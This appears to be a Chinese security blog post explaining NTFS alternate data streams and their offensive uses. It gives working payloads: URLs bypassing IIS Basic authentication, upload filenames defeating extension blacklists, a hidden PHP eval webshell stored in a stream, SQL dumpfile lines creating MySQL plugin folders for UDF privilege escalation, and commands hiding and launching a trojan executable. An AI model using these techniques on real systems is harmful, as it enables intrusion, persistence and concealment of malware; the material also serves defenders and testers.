Windows下的ADS NTFS交换数据流
in PENETRATION with 0 comment

Windows下的ADS NTFS交换数据流

in PENETRATION with 0 comment

前言


NTFS是微软NT系列内核支持的较为安全先进的磁盘文件格式。NTFS数据交换流(简称ADS)是NTFS磁盘的一个特性。每个文件都可以存在多个数据流,虽然我们无法看到数据流文件,但是它却是可以真实存在于我们的系统中的。

NTFS文件流


所有的文件在NTFS上都至少包括一个流: 主流
即我们平时可以看见的可以存储数据的文件。一个流的全名包括一下三个部分

<文件名>:<流名称>:<流类型>

NTFS流全称为NTFS交换数据流,ADS的诞生是为了兼容HFS。HFS---分层文件系统,是由苹果公司推出的文件系统,其工作模式是将不同的数据存在不同的分支文件,文件数据存放在数据分支而文件参数存放在资源分支。ADS有点类似文化的属性一样,依附于文件的传统边界之外。

每一个文件都有着主文件流和非主文件流。主文件流能够直接看到,而非主文件流寄宿于主文件流中,无法直接读取。

注:

  1. 修改宿主文件的内容不会影响流的内容
  2. 修改流的内容不会影响宿主文件的内容

完整的流的格式:
<filename>:<stream name>:<streamtype>

filename: 宿主文件的文件名
stream name:流名
stream type: 流类型

用户不能创建一个新的流类型,流类型总是以$符号开始。
对于NTFS格式下的一个文件而言,至少包含一个流,即data流(其stream type为$DATA),data流逝文件的主流,默认的data流其stream name为空,ADS可以省略stream name,但不能省略stream type。默认一个文件如果被指派了流,而该流没有stream type的话会在存储时自动添加$DATA,但在查询结果中需要去除$DATA,否则会出现参数错误。

对于文件夹而言,没有data流,其主流逝directory流,(stream type$INDEX_ALLOCATION),directory流默认的stream name$130。尽管文件夹默认没有data流,但用户可以指派data流。

利用


IIS目录访问权限绕过

在IIS6.0+PHP、IIS7+asp、IIS7.5+php的环境下,如果目录是通过HTTP Basic来认证,假设其目录下油index.php文件,我们可以通过构造如下方式来绕过认证直接访问目录下的文件。

/admin::$INDEX_ALLOCATION/index.php
/admin:$i30:$INDEX_ALLOCATION/index.asp

Bypass黑名单严重上传

上传的文件名     服务器表面现象     生成的文件内容
Test.php:a.jpg      生 成Test.php    空
Test.php::$DATA        生成test.php     <?php phpinfo();?>
Test.php::$INDEX_ALLOCATION        生成test.php文件夹            
Test.php::$DATA\0.jpg   生成0.jpg    <?php phpinfo();?>
Test.php::$DATA\aaa.jpg     生成aaa.jpg    <?php phpinfo();?>

上传test.php:a.jpg的时候其实是在服务器上正常生成了一个数据文件流,可以通过notepad test.php:a.jpg查看内容,而test.php为空也是正常的。
由于Windows会无视'/',''这两个符号前面的东西,只识别这两个符号后面的字符串。因此,上述会生成0.jpg

隐藏webshell

如果index.php是一个网页正常文件,我们可以

echo ^<?php @eval(request[cmd])?^>  > index.php:hidden.jpg

这样就会生成一个不可见的shell。常规的文件管理器、type、dir等命令都是无法发现的。可以在另一个正常文件中将这个ADS文件include进去,

<?php include("index.php:hidden.jpg")?>

这样就可以正常解析一句话,而难以被发现。

UDF提权中的作用

在Mysql5.1以上,在加载自定义函数的Dll时,要求目录必须是mysql目录下的libplugin目录。直接导入C:windowssysten32这种目录不能直接加载dll。但由于MySQL5.1之后的版本在安装的时候默认不存在libplugin目录。
另外一种情况是webshell的权限限制比较死,没有办法去新建libplugin目录。或者只有一个MySQL的弱口令,此时利用ADS可以Bypass这个限制。

利用ADS突破限制建立目录:

select 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
erver 5.1\\lib::$INDEX_ALLOCATION';

elect 'It is dll' into dumpfile 'C:\\Program Files (x86)\\MySQL\\MySQL S
erver 5.1\\lib\\plugin::$INDEX_ALLOCATION';

利用ADS隐藏木马

type muma.exe test.txt:muma.exe

注意:需要使用type命令才能将二进制可执行文件写入。
数据流中如果是可执行文件,用start命令调用时,需要在win xp和2003环下,win7下失败。

使用供选数据流绕过路径限制

前面提到的在UDF提权中绕过路径限制的原理就是:数据流类型为INDEX_ALLOCATION,属于文件夹类型,所以创建了一个文件夹。

在互联网下载文件时,Windows系统可能会通过流名称悄悄地添加区域标识符。
例如:如果我们下载"putty.exe",Windows会创建"putty.exe:Zone.Identifier:$DATA"。

可以使用dir /r 命令来看到这些流名称。

带有数据流的文件啊是不能通过type命令直接读取的。而可以通过notepad读取文件。

技巧:可以把重要的信息,或者程序在ADS中存储。例如:
将putty.exe 复制到ADS中,然后通过wmic调用(不能通过start直接调用):

wmic process call create C:\Users\test\test:putty.exe

ADS还有一个很好的特性---我们可以在文件夹中添加ADS。前提是在文件夹里拥有“创建文件夹”权限。

例如:
在windows中一个普通用户无法在C:windows创建文件,而只有管理员可以写这个文件夹,假设普通用户写入C:windowstest:test.dll。如果这个路径现在传递在一个遍历文件夹的Windows API,这个API将从路径的末尾开始,直到找到一个"",将其剩下的所有内容作为文件夹返回。将返回C:windows作为文件夹。如此,我们通过这个方式在window文件夹中创建了一个文件。

又例如:
如果某个web应用程序,上传的数据存储在application\uploadedData\中,而应用程序允许从application启动脚本或程序。而不允许从applicationuploadeddata启动脚本或应用程序。

如果用户上传一个名为:foo.ps1的文件,系统将创建一个类似于applicationFolderuploadedData:foo.ps1的ADS。因此可以绕过安全检查。

创建无法通过"..."文件夹找到的文件

在Windows中,每个文件夹默认包含两个特殊条目,"."和"..",在windows上不能通过名称中的点创建文件或文件夹。
不能创建一个"..."或"...."的文件夹。可以通过:$INDEX_ALLOCATION技巧来绕过。

echo 123 > ...::$INDEX_ALLOCATION
也可以通过将名称传递两次来创建。
mkdir ....\....\

可以利用这个技巧在文件夹存储文件。
BC872D67-B16D-40C9-92E9-20BEF6660D5B.png

如图:无法仅使用名称进入文件夹(例如:“cd …”或“cd …”或“cd ……”不起作用),必须使用“cd ……”的语法。进入文件夹之后可以在这个文件夹里创建文件。

此外,也不可能从GUI (explorer.exe)打开这个文件夹。双击这个文件夹也没有用。通过GUI (explorer.exe)搜索这个文件夹中的文件也不起作用,而通过CMD进行搜索是没有问题的。而Powershell也不能找到这个文件。

REFERENCE


[1]. https://www.cnblogs.com/Chesky/p/ALTERNATE_DATA_STREAMS.html
[2]. http://www.sohu.com/a/227556860_609556
[3]. https://blog.csdn.net/u011066706/article/details/51175401

Responses